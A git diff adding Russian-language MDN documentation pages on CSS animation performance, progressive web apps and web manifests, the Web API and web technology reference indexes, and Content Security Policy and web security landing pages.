+<p>Вы можете поэкспериментировать с некоторыми свойствами. Например, попробуйте убрать box-shadow с помощью инспектора страницы (<a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Page / Element Inspector</a>), замерьте производительность и посмотрите, как это отразилось на производительности. Затраты на Paint уменьшатся значительно. Но они все ещё есть. Мы ещё вернёмся к этому вопросу позже, когда будем изучать использование <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> вместо <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code>. Вы увидите, что от затрат на этот этап можно избавиться полностью.</p>
+
+<h3 id="Анимация_свойства_transform">Анимация свойства transform</h3>
+
+<p>Теперь, переключитесь на "Use transform" и запишите новые данные. Это должно выглядеть примерно так:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10863/transform-recording.png" style="display: block; height: 234px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<h4 id="Обзор_этапов_рендеринга_на_временной_шкале_Waterfall_2">Обзор этапов рендеринга на временной шкале (Waterfall)</h4>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10869/transform-timeline-overview.png" style="display: block; height: 57px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>В сравнении с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Waterfall_overview">версией, которая использует margin</a>, мы видим намного меньше зеленого, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы <a href="/en-US/docs/Tools/Performance/Waterfall#timeline-color-coding">layout или style recalculation</a>.</p>
+
+<h4 id="Частота_кадров_Frame_Rate_2">Частота кадров (Frame Rate)</h4>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10865/transform-frame-rate.png" style="display: block; height: 62px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>В сравнении с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Frame_rate">версией, которая использует margin</a>, показатели fps здесь выглядят достаточно хорошо. Средняя частота кадров близка к 60fps, а стабильность fps, за исключением падения fps в начале значительно выросла.</p>
+
+<h4 id="Этапы_рендеринга_в_деталях_Waterfall_2">Этапы рендеринга в деталях (Waterfall)</h4>
+
+<p>В этой секции мы видим объяснения тому, что fps значительно улучшился. Мы больше не тратим время на layout и перерисовку элементов. :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10867/transform-timeline.png" style="display: block; height: 384px; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<p>Здесь, используя <code>transform</code>, мы заметно улучшили производительность приложения. А инструменты разработчика помогли нам это сделать.</p>
diff --git a/files/ru/web/progressive_web_apps/index.html b/files/ru/web/progressive_web_apps/index.html
new file mode 100644
index 0000000000..e0f80c9b4d
--- /dev/null
+++ b/files/ru/web/progressive_web_apps/index.html
@@ -0,0 +1,78 @@
+---
+title: Прогрессивные веб-приложения
+slug: Web/Progressive_web_apps
+tags:
+  - Веб-приложения
+  - Приложения
+  - Прогрессивные веб-приложения
+translation_of: Web/Progressive_web_apps
+---
+<p class="summary">Прогрессивные веб-приложения используют современные веб-API вкупе со стратегией прогрессивного улучшения для создания кросс-платформенных приложений. Такие приложения запускаются везде и обладают рядом характеристик, обеспечивающих пользователей преимуществами, аналогичными тем, что доступны в нативных решениях.</p>
+
+<div class="column-container">
+<div class="column-1"> </div>
+
+<div class="column-3" style="height: 160px;"><img alt="" src="https://mdn.mozillademos.org/files/12654/discoverable.svg" style="float: right; height: 40px; width: 38px;">
+<p style="font-size: 110%;"><a href="/en-US/docs/Web/Apps/Modern/Discoverable"><strong>Заметные</strong></a></p>
+
+<p style="width: 70%;">Приложения замечаются поисковыми системами.</p>
+</div>
+
+<div class="column-3" style="height: 160px;"><img alt="" src="https://mdn.mozillademos.org/files/12656/installable.svg" style="float: right; height: 40px; width: 38px;">
+<p style="font-size: 110%;"><strong><a href="/en-US/docs/Web/Apps/Modern/Installable">Продвинутые</a></strong></p>
+
+<p style="width: 70%;">Доступные на любых устройствах без нужды в магазине приложений.</p>
+</div>
+
+<div class="column-3" style="height: 160px;"><img alt="" src="https://mdn.mozillademos.org/files/12658/linkable.svg" style="float: right; height: 40px; width: 38px;">
+<p style="font-size: 110%;"><strong><a href="/en-US/docs/Web/Apps/Modern/Linkable">Доступные</a></strong></p>
+
+<p style="width: 70%;">Легко поделиться ими через ссылку.</p>
+</div>
+
+<div class="column-1"> </div>
+</div>
+
+<div class="column-container">
+<div class="column-1"> </div>
+
+<div class="column-3" style="height: 160px;"><img alt="" src="https://mdn.mozillademos.org/files/12660/network-independent.svg" style="float: right; height: 40px; width: 38px;">
+<p style="font-size: 110%;"><strong><a href="/en-US/docs/Web/Apps/Modern/Network_independent">Независимые</a></strong></p>
+
+<p style="width: 70%;">Работают в оф-лайне или на низкоскоростных соединениях.</p>
+</div>
+
+<div class="column-3" style="height: 160px;"><img alt="" src="https://mdn.mozillademos.org/files/12662/progressive.svg" style="float: right; height: 40px; width: 38px;">
+<p style="font-size: 110%;"><strong><a href="/en-US/docs/Web/Apps/Modern/Progressive">Передовые</a></strong></p>
+
+<p style="width: 70%;">Работают для любого пользователя.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-1"> </div>
+
+<div class="column-3" style="height: 160px;"><img alt="" src="https://mdn.mozillademos.org/files/12650/responsive.svg" style="float: right; height: 40px; width: 38px;">
+<p style="font-size: 110%;"><strong><a href="/en-US/docs/Web/Apps/Modern/Responsive">Отзывчивые</a></strong></p>
+
+<p style="width: 70%;">Помещаются на любой экран: настольный компьютер, смартфон, планшет и т.д.</p>
+</div>
+
+<div class="column-3" style="height: 160px;"><img alt="" src="https://mdn.mozillademos.org/files/12664/safe.svg" style="float: right; height: 40px; width: 38px;">
+<p style="font-size: 110%;"><strong><a href="/en-US/docs/Web/Apps/Modern/Safe">Безопасные</a></strong></p>
+
+<p style="width: 70%;">Специальный способ переноса данных предотвращает кражу информации.</p>
+</div>
+
+<p> </p>
+
+<div class="column-1"> </div>
+
+<p> </p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/progressive-web-apps">Передовые веб-приложения (англ.)</a> на Google Developers</li>
+</ul>
diff --git a/files/ru/web/progressive_web_apps/installable_pwas/index.html b/files/ru/web/progressive_web_apps/installable_pwas/index.html
new file mode 100644
index 0000000000..6ad0a1211e
--- /dev/null
+++ b/files/ru/web/progressive_web_apps/installable_pwas/index.html
@@ -0,0 +1,117 @@
+---
+title: Как сделать PWA устанавливаемым
+slug: Web/Progressive_web_apps/Installable_PWAs
+translation_of: Web/Progressive_web_apps/Installable_PWAs
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">В предыдущей статье мы читали о том, как <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> работает в off-line режиме благодаря <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>, но мы можем пойти дальше и позволить устанвливать веб-приложения на поддерживающие мобльные браузеры, как если бы это было нативное приложение. В этой статье разберём, как этого добиться, используя веб-манифест и функцию под названием «Добавить на главный экран».</p>
+
+<p>Эта технология позволяет запускать приложение прямо с рабочего стола, без запуска браузера и ручного ввода URL-адреса. Ваше веб-приложение может быть установлено рядом с нативным. Поэтому к нему проще получить доступ, а так же вы можете указать, что приложение должно использовать полноэкранный режим браузера, делая его ещё более похожим на нативное</p>
+
+<h2 id="Требования">Требования</h2>
+
+<p>Чтобы сделать сайт доступным для установки, ему необходимы соедующие вещи:</p>
+
+<ul>
+ <li>Веб-манифест с <a href="/en-US/Apps/Progressive/Add_to_home_screen#Manifest">правильно заполненными полями</a></li>
+ <li>Сайт должен использовать защищенный (HTTPS) домен</li>
+ <li>Иконка для предоставления приложения на устройстве</li>
+ <li>Зарегистрированный service worker, чтобы приложение работало в off-line режиме (на данный момент требуется только для Chrome на Android)</li>
+</ul>
+
+<h3 id="Файл_манифеста">Файл манифеста</h3>
+
+<p>Ключевым элементом является файл манифеста,  в котором представлена вся информация о веб-сайте в JSON формате.</p>
+
+<p>Обычно находится в корневой папке веб-приложения. Содержит информацию, такую как название приложения, paths пути к значкам разных размеров, которые можно использовать для представления приложения в мобильных операционных системах (например, в качестве значка домашнего экрана), и цвет фона для использования при загрузке. Эта информация необходима браузеру для правильного отображения приложения при установке и на домашнем экране.</p>
+
+<p>Файл <code>js13kpwa.webmanifest</code> веб-приложения <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> включен в раздел {{htmlelement("head")}} файла <code>index.html</code> с помощью средующей строчки кода:</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Существует несколько расширений, используемых в прошлом: <code>manifest.webapp</code> был популярен в манифестах приложений Firefox OS, также многие используют <code>manifest.json</code> потому что содержание организовано по структуре JSON. Однако, расширение <code>.webmanifest</code> явно упоминается в <a href="https://w3c.github.io/manifest/">W3C manifest specification</a>, поэтому давайте придерживаться именно этого стандарта.</p>
+</div>
+
+<p>Содержимое файла может выглядеть так:</p>
+
+<pre class="brush: json">{
+    "name": "js13kGames Progressive Web App",
+    "short_name": "js13kPWA",
+    "description": "Progressive Web App that lists games submitted to the A-Frame category in the js13kGames 2017 competition.",
+    "icons": [
+        {
+            "src": "icons/icon-32.png",
+            "sizes": "32x32",
+            "type": "image/png"
+        },
+        // ...
+        {
+            "src": "icons/icon-512.png",
+            "sizes": "512x512",
+            "type": "image/png"
+        }
+    ],
+    "start_url": "/pwa-examples/js13kpwa/index.html",
+    "display": "fullscreen",
+    "theme_color": "#B12A34",
+    "background_color": "#B12A34"
+}</pre>
+
+<p>Названия большинства полей говорят сами за себя, но давайте разберём документ и объясним всё подробно:</p>
+
+<ul>
+ <li><code>name</code>: Полное название вашего приложения.</li>
+ <li><code>short_name</code>: Короткое название для отображения на домашнем экране.</li>
+ <li><code>description</code>: Одно-два предложения, описывающих приложение.</li>
+ <li><code>icons</code>: Куча информации о значках — URL, размеры, типы. Не забудьте указать хотя бы несколько, чтобы иконка лучше пдходила под устройство пользователя</li>
+ <li><code>start_url</code>: Загружаемый исходный документ при запуске приложения</li>
+ <li><code>display</code>: Как приложение должно отображаться; может быть fullscreen (полноэкранный), standalone (автономный), minimal-ui (минимальный пользовательский интерфейс), browser (браузер)</li>
+ <li><code>theme_color</code>: Основной цвет для интерфейса, используемый операционной системой</li>
+ <li><code>background_color</code>: Цвет для фона, используемый при установке и на заставке</li>
+</ul>
+
+<p>Минимальные требования к манифесту - <code>name</code> и хотя бы один значок (с <code>src</code>, <code>size</code> и <code>type</code>). Поля <code>description</code>, <code>short_name</code>, и <code>start_url</code> являются рекомендуемыми. Вы можете использовать даже больше полей, чем указано выше — не забудьте проверить ссылку на <a href="/en-US/docs/Web/Manifest">Web App Manifest reference</a>.</p>
+
+<h2 id="Добавить_на_домашний_экран">Добавить на домашний экран</h2>
+
+<p>"Добавить на домашний экран" (кратко: a2hs) - это функция, реализованная браузерами, которая берет информацию, найденную в веб-манифесте, и использует для добавления приложения на домашний экран устройства со значком и именем. Это работает при выполнении требований, описанных выше.</p>
+
+<p>Когда пользователь посещает PWA с помощью браузера, поддерживающего технологию, должен отобразиться значок, указывающий на возможность установки приложения в качестве PWA.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15928/js13kpwa-icon.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>После того, как пользователь кликнет на иконку, отобразится баннер установки. Информация в баннере генерируется на основе файла-манифеста — имя и значок отображаются в приглашении.</p>
+
+<p><img alt="Install banner of js13kPWA." src="https://mdn.mozillademos.org/files/15927/js13kpwa-banner.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Если пользователь нажимает кнопку, появляется окно, на котором изображены ярлык приложения и кнопки для подтверждения действий.</p>
+
+<p><img alt="Add to Home screen popup of js13kPWA." src="https://mdn.mozillademos.org/files/15926/js13kpwa-add.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>При подтверждении ярлык будет добавлен на рабочий стол.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15834/js13kpwa-installed.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>После этого пользователь может запустить приложение и сразу начать его использовать. Обратите внимание, иногда у PWA (в зависимости от браузера и/или операционной системы) в правом нижнем углу значка отображется иконка браузера, чтобы инормировать пользователя о его веб-характере.</p>
+
+<h3 id="Экран_загрузки">Экран загрузки</h3>
+
+<p>В некоторых браузерах, на основе информации из манифеста, создается заставка, отображаемая при запуске PWA</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15835/js13kpwa-splash.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Иконка и фоновый цвет использовались для создания заставки.</p>
+
+<h2 id="Итог">Итог</h2>
+
+<p>В статье мы узнали, как сделать PWA устанавливаемыми, используя веб-манифест, и добавить их на главный экран.</p>
+
+<p>Для получения большей информации, можете почитать наш <a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">Add to Home screen гайд</a>. В настоящее время поддержка ограничена браузерами Firefox для Android 58+, Мобильным Chrome и Android Webview 31+, также Opera для Android 32+, но поддержка должна расширяться в ближайшем будущем.</p>
+
+<p>Теперь давайте перейдём к последнему фаргменту PWA-головоломки — повторному запуску с помощю push-уведомлений.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</p>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}</p>
diff --git a/files/ru/web/progressive_web_apps/заметный/index.html b/files/ru/web/progressive_web_apps/заметный/index.html
new file mode 100644
index 0000000000..d91120ec55
--- /dev/null
+++ b/files/ru/web/progressive_web_apps/заметный/index.html
@@ -0,0 +1,63 @@
+---
+title: Заметный
+slug: Web/Progressive_web_apps/Заметный
+tags:
+  - Веб-манифест
+  - Видимый
+  - Манифест
+  - Приложения
+  - Прогрессивные веб-приложения
+  - Современные веб-приложения
+translation_of: Web/Progressive_web_apps
+---
+<div class="column-container summary">
+<div class="column-11">Как только вы опубликуете новое веб-приложение, вы захотите, чтобы мир узнал об этом. Поисковые системы, конечно, помогают, но, обычно, большее внимание уделяется тому, как Ваши приложения представлены на результатах поиска. Новый манифест W3C для веб-приложений может помочь с этим и предоставить дополнительные возможности.</div>
+
+<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12654/discoverable.svg" style="height: 43px; width: 34px;"></div>
+</div>
+
+<p>Возможные перспективы для веб-приложения:</p>
+
+<ul>
+ <li>Лучшее представление сайта в поисковых системах.</li>
+ <li>Упрощение администрирования</li>
+ <li>Размещение мета-данных, поддерживаемых браузерами для получения дополнительных возможностей</li>
+</ul>
+
+<h2 id="Основные_руководства">Основные руководства</h2>
+
+<p>None written as yet; contributions appreciated.</p>
+
+<h2 id="Технологии">Технологии</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Технология</th>
+   <th scope="col">Описание</th>
+   <th scope="col">Поддержка</th>
+   <th scope="col">Последняя спецификация</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p><a href="/en-US/docs/Web/Manifest">Манифест веб-приложения</a></p>
+   </td>
+   <td>Устанавливает свойства приложения, такие как имя, иконка, окно загрузки и цвета темы для использования в каталогах приложений и т.д.</td>
+   <td>Экспериментальный, поддерживается в Chrome, ограниченная поддержка в Firefox (<a href="/en-US/docs/Web/Manifest#Browser_compatibility">больше деталей</a>)</td>
+   <td>{{SpecName('Manifest')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Инструменты">Инструменты</h2>
+
+<p>Добавьте ссылки на полезные библиотеки и инструменты.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<dl>
+ <dt><a href="http://ogp.me/">Open Graph (англ.)</a></dt>
+ <dd>Стандарт, описывающий формат размещения мета-данных в тегах <code>&lt;head&gt;</code>, используя мета-тэги в HTML. Поддерживается Facebook и другими.</dd>
+</dl>
diff --git a/files/ru/web/reference/api/index.html b/files/ru/web/reference/api/index.html
new file mode 100644
index 0000000000..0657ac50a8
--- /dev/null
+++ b/files/ru/web/reference/api/index.html
@@ -0,0 +1,65 @@
+---
+title: Руководство Web API
+slug: Web/Reference/API
+tags:
+  - API
+  - Web
+  - Руководство
+  - Справка
+translation_of: Web/Reference/API
+---
+<p><span class="seoSummary">Веб предлагает широкий спектр интерфейсов для выполнения различных полезных задач. Они могут быть доступны с помощью кода JavaScript, и путем внесения незначительных корректив в объекты {{domxref("window")}}  или {{domxref("element")}}.  Для создания сложной графики и аудио эффектов используются такие интерфейсы как <a href="/ru/docs/Web/WebGL">WebGL</a> и <a href="/ru/docs/Web_Audio_API">Web Audio</a>.</span></p>
+
+<p><a href="/ru/docs/Web/API">Описание всех интерфейсов (APIs).</a></p>
+
+<p><a href="/ru/docs/Web/Reference/Events">Описание  доступных событий (events).</a></p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/ru/docs/DOM">Объектная модель документа (DOM).</a></dt>
+ <dd>DOM имеет интерфейс (API) который предоставляет возможность доступа к любой части документа. Эта модель позволяет осуществлять манипуляции над целыми разделами документа {{domxref("Node")}} и отдельными элементами {{domxref("Element")}}. Такие форматы как: HTML, XML и SVG используют её для решения своих специфических задач.</dd>
+ <dt>Аппаратные интерфейсы</dt>
+ <dd>Этот набор методов позволяет получить доступ из веб-страницы или приложения к различным датчикам устройства. Например: <a href="/ru/docs/WebAPI/Using_Light_Events">Ambient Light Sensor API</a>, <a href="/ru/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">Battery Status API</a>, <a href="/ru/docs/Using_geolocation" title="Using_geolocation">Geolocation API</a>, <a href="/ru/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">Pointer Lock API</a>, <a href="/ru/docs/WebAPI/Proximity" title="WebAPI/Proximity">Proximity API</a>, <a href="/ru/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">Device Orientation API</a>, <a href="/ru/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">Screen Orientation API</a>, <a href="/ru/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">Vibration API</a>.</dd>
+ <dt>Интерфейсы связи</dt>
+ <dd>Эти интерфейсы обеспечивают коммуникацию между веб-страницами и приложениями с другими страницами или устройствами. Такие как, <a href="/ru/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">Network Information API</a>, <a href="/ru/docs/WebAPI/Using_Web_Notifications" title="/ru/docs/WebAPI/Using_Web_Notifications">Web Notifications</a>, <a href="/ru/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a>.</dd>
+ <dt id="Data_management_APIs">Интерфейсы управления данными</dt>
+ <dd>Пользовательские данные могут храниться и управляться этими интерфейсами. Например, <a href="/ru/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a>, <a href="/ru/docs/IndexedDB" title="IndexedDB">IndexedDB</a>.</dd>
+</dl>
+
+<p>В дополнение к описанным возможностям,  которые доступны для любого веб-сайта или приложения, существует более мощный функционал Mozilla, доступный для привилегированных и сертифицированных приложений.</p>
+
+<dl>
+ <dt>Привилегированные интерфейсы</dt>
+ <dd>При установке приложения от пользователя потребуется дать приложению специфичные права. Включают в себя: <a href="/ru/docs/WebAPI/TCP_Socket" title="WebAPI/TCP_Socket">TCP Socket API</a>, <a href="/ru/docs/WebAPI/Contacts" title="WebAPI/Contacts">Contacts API</a>, <a href="/ru/docs/WebAPI/Device_Storage_API" title="WebAPI/Device_Storage_API">Device Storage API</a>, <a href="/ru/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API">Browser API</a>, <a href="/ru/docs/WebAPI/Camera" title="WebAPI/Camera">Camera API</a>.</dd>
+</dl>
+
+<dl>
+ <dt>Сертифицированная функциональность</dt>
+ <dd>Сертифицированое приложение является приложением низкого уровня выполнения критических операций на операционной системе как Firefox OS. Менее привилегированные взаимодействуют с приложениями использующими <a href="/ru/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities">Web Activities</a>.  Сертифицированные API, включают в себя:<a href="/ru/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth"> Bluetooth API</a>, <a href="/ru/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">Mobile Connection API</a>, <a href="/ru/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">Network Stats API</a>, <a href="/ru/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telephony</a>, <a href="/ru/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS</a>, <a href="/ru/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">WiFi Information API</a>, <a href="/ru/docs/WebAPI/Camera" title="WebAPI/Camera">Camera API</a>, <a href="/ru/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">Power Management API</a>, <a href="/ru/docs/WebAPI/Settings" title="WebAPI/Settings">Settings API</a>, <a href="/ru/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">Idle API</a>, <a href="/ru/docs/WebAPI/Permissions" title="WebAPI/Permissions">Permissions API</a>, <a href="/ru/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">Time/Clock API</a>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Сообщество">Сообщество</h2>
+
+<p>Присоединяйтесь к Web API сообществу в нашем списке рассылки или группе новостей:</p>
+
+<ul>
+ <li><a class="external" href="https://lists.mozilla.org/listinfo/dev-webapi">список рассылки</a></li>
+ <li><a href="news://news.mozilla.org/mozilla.dev.webapi">группа новостей</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi">Google Groups</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi/feeds">Веб лента новостей</a></li>
+</ul>
+
+<p>Кроме того, убедитесь, что участвуете в живой дискуссии в <a href="irc://irc.mozilla.org/webapi">#webapi</a> направление <a class="external" href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<h2 class="Related_Topics" id="Связанные_темы">Связанные темы</h2>
+
+<p>Эти темы также могут вас заинтересовать:</p>
+
+<ul>
+ <li><a href="/ru/docs/Web/API">Список всех Веб-интерфейсов</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/ru/web/reference/index.html b/files/ru/web/reference/index.html
new file mode 100644
index 0000000000..3b429c22d2
--- /dev/null
+++ b/files/ru/web/reference/index.html
@@ -0,0 +1,40 @@
+---
+title: Справочник по веб-технологиям
+slug: Web/Reference
+tags:
+  - Русский
+translation_of: Web/Reference
+---
+<p>{{draft()}}</p>
+
+<p><span id="result_box" lang="ru"><span>Открытая сеть построена с использованием ряда технологий.</span> <span>Ниже вы найдете ссылки на наши справочные материалы по каждому из них.</span></span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers"><span class="short_text" id="result_box" lang="ru"><span>Основные веб-технологии</span></span></h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API">Ссылка на веб-интерфейс API</a></dt>
+ <dd><span id="result_box" lang="ru"><span>Справочные материалы для каждого из интерфейсов, которые составляют API-интерфейсы Интернета, включая DOM и все связанные API и интерфейсы, которые вы можете использовать для создания веб-контента и приложений.</span> <span>Этот список охватывает все интерфейсы, расположенные в алфавитном порядке.</span></span></dd>
+ <dt><a href="/en-US/docs/Web/Reference/API" title="/en-US/docs/Web/Reference/API">Web APIs</a></dt>
+ <dd>Список различных интерфейсов и набора технологий,<br>
+ которые составляют общий Веб API.</dd>
+ <dt><a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a></dt>
+ <dd>Язык гипертекстовой разметки — это язык, используемый для определения структуры и описания содержания веб-страницы в структурированной форме.</dd>
+ <dt><a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a></dt>
+ <dd>Каскадные таблицы стилей используются для описания внешнего вида веб-контента.</dd>
+ <dt><a href="/en-US/docs/Web/SVG" title="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd>Масштабируемая векторная графика позволяет вам описать изображение как набор векторов (линий) и фигур, что позволяет масштабировать такую графику плавно независимо от размеров, в которых она нарисована без потерь качества.</dd>
+ <dt><a href="/en-US/docs/Web/MathML" title="/en-US/docs/Web/MathML">MathML</a></dt>
+ <dd><span id="result_box" lang="ru"><span>Математический язык разметки позволяет отображать сложные математические уравнения и синтаксис.</span></span></dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers"><span class="short_text" id="result_box" lang="ru"><span>Другие технологии</span></span></h2>
+
+<p><span class="short_text" id="result_box" lang="ru"><span>Скоро будет завершено...</span></span></p>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/security/csp/index.html b/files/ru/web/security/csp/index.html
new file mode 100644
index 0000000000..e220c280e3
--- /dev/null
+++ b/files/ru/web/security/csp/index.html
@@ -0,0 +1,42 @@
+---
+title: CSP (Политика Защиты Контента)
+slug: Web/Security/CSP
+tags:
+  - CSP
+  - Landing
+translation_of: Web/HTTP/CSP
+---
+<div>{{gecko_minversion_header("2.0")}}</div>
+
+<p><strong>Политика защиты контента</strong> (CSP) — это дополнительный уровень безопасности, который помогает обнаружить и смягчить некоторые виды атак, в том числе межсайтовый скриптинг (XSS) и инъекцию данных. Эти атаки используются для всего, от кражи данных до порчи сайтов и распространения вредоносного ПО.</p>
+
+<p>Хотя CSP выпустила первую в Firefox 4, с использованием <code>X-Content-Security-Policy</code> предварительно из-за наличия формальной спецификации для CSP.  Firefox 23 содержит обновленную реализацию CSP, которая используется без префикса заголовка Content-Security-Policy и директив, как описано в W3C CSP 1.0 spec.</p>
+
+<h2 id="Разделы_CSP">Разделы CSP</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Security/CSP/Introducing_Content_Security_Policy">Introducing Content Security Policy</a></dt>
+ <dd>Обзор того, что такое CSP и как это может сделать ваш сайт более безопасным.</dd>
+ <dt><a href="/en-US/docs/Security/CSP/CSP_policy_directives">CSP policy directives</a></dt>
+ <dd>Ссылка на CSP директивы политик.</dd>
+ <dt><a href="/en-US/docs/Security/CSP/Using_Content_Security_Policy">Using Content Security Policy</a></dt>
+ <dd>Вы можете настроить поведение CSP при настройке наборов правил политик. Это позволяет ослабить или усилить меры безопасности для отдельных видов ресурсов, исходя из потребностей вашего сайта. Эта статья описывает, как настроить CSP, а также о том, как включить его для вашего сайта.</dd>
+ <dt><a href="/en-US/docs/Security/CSP/Using_CSP_violation_reports">Using CSP violation reports</a></dt>
+ <dd>Как использовать сообщения CSP  о нарушениях, чтобы контролировать попытки атаковать ваш сайт и его пользователей.</dd>
+ <dt><a href="/en-US/docs/Security/CSP/Default_CSP_restrictions">Default CSP restrictions </a>{{obsolete_inline("15.0")}}</dt>
+ <dd>Подробности об ограничениях внедренных по умолчанию в CSP.</dd>
+</dl>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Security">Security</a></li>
+ <li><a href="/en-US/docs/HTTP_access_control">HTTP access control</a></li>
+ <li><a class="link-https" href="http://www.w3.org/TR/CSP/">CSP 1.0 specification</a></li>
+ <li><a class="link-https" href="http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html">CSP 2 specification</a></li>
+ <li><a href="/docs/Apps/CSP">CSP restrictions for Open Web Apps</a></li>
+</ul>
+
+<div id="__if72ru4rkjahiuyi_once" style="display: none;"> </div>
+
+<div id="__hggasdgjhsagd_once" style="display: none;"> </div>
diff --git a/files/ru/web/security/index.html b/files/ru/web/security/index.html
new file mode 100644
index 0000000000..0c69f8ab07
--- /dev/null
+++ b/files/ru/web/security/index.html
@@ -0,0 +1,13 @@
+---
+title: Веб-безопасность
+slug: Web/Security
+tags:
+  - Web
+  - Безопасность
+translation_of: Web/Security
+---
+<p><span class="seoSummary">Обеспечение того, чтобы ваш веб-сайт или открытое веб-приложение было безопасным является критически важным. Даже простые ошибки в коде могут привести к утечке частной информации,  завладеть которой хотят не добросовестные пользователи, с целью кражи данных. Эти статьи предоставляют информацию, которая может помочь вам обеспечить безопасность вашего кода.</span></p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<p>{{QuickLinksWithSubpages}}</p>
diff --git a/files/ru/web/security/information_security_basics/index.html b/files/ru/web/security/information_security_basics/index.html
new file mode 100644
index 0000000000..0d36d99bad
--- /dev/null
+++ b/files/ru/web/security/information_security_basics/index.html
@@ -0,0 +1,30 @@
+---
+title: Основы по информационной безопасности
+slug: Web/Security/Information_Security_Basics
+translation_of: Web/Security/Information_Security_Basics
+---
+<p><span class="seoSummary">Базовое понимание информационной безопасности, поможет обезопасить ваше программное обеспечение и сайты от уязвимостей открывающим доступ к финансовым махинациям и прочим противоправным действиям. Из этих статей вы сможете узнать все что для этого необходимо.</span> Вооружившись этой информацией, вы поймете роль и важность безопасности начиная от цикла веб-разработки вплоть до размещения вашего контента. </p>
+
+<dl>
